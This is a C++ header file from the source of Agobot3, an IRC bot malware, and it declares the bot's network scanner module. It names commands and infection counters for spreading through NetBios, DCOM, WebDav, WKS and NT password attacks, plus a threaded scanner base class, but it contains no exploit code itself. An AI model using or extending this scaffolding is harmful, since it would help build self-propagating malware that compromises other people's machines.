/*	Agobot3 - a modular IRC bot for Win32 / Linux
	Copyright (C) 2003 Ago

	This program is free software; you can redistribute it and/or
	modify it under the terms of the GNU General Public License
	as published by the Free Software Foundation; either version 2
	of the License, or (at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. */

#ifndef __SCANNER_H__
#define __SCANNER_H__

#include "cstring.h"
#include "commands.h"
#include "message.h"
#include "cthread.h"

class CScannerAuto
{
public:
	void Init();
};

class CScanner : public CCommandHandler
{
public:
	void Init();

	bool HandleCommand(CMessage *pMsg);
	
	command		 m_cmdNetBios,m_cmdNtPass,  m_cmdDCOM,  m_cmdDCOM2, m_cmdLocator, m_cmdWebDav, \
				 m_cmdWKS, m_cmdStats, m_cmdStop,m_cmdScanAll;
	int			 m_iNumThreads;
	bool		 m_bScanning;

	int			 m_iDComStats;
	int			 m_iNTStats;
	int			 m_iDCom2Stats;
	int			 m_iNBStats;
	int			 m_iWDStats;
	int			 m_iWKSStats;
	int m_iNtPassStats;
////	int m_iRADMINStats;
};

class CScannerBase : public CThread
{
public:
	CScannerBase() { }
	virtual ~CScannerBase() { }
	virtual void *Run();

	virtual void StartScan(const CString &sHost)=NULL;
	virtual bool TestHost(const CString &sHost)=NULL;

	CString		 m_sScannerName;
	CString		 m_sRange;
	CString		 m_sReplyTo;
	int			 m_iTime;

	bool		 m_bSilent;
	bool		 m_bNotice;

	CScanner	*m_pScanner;
};

#endif // __SCANNER_H__
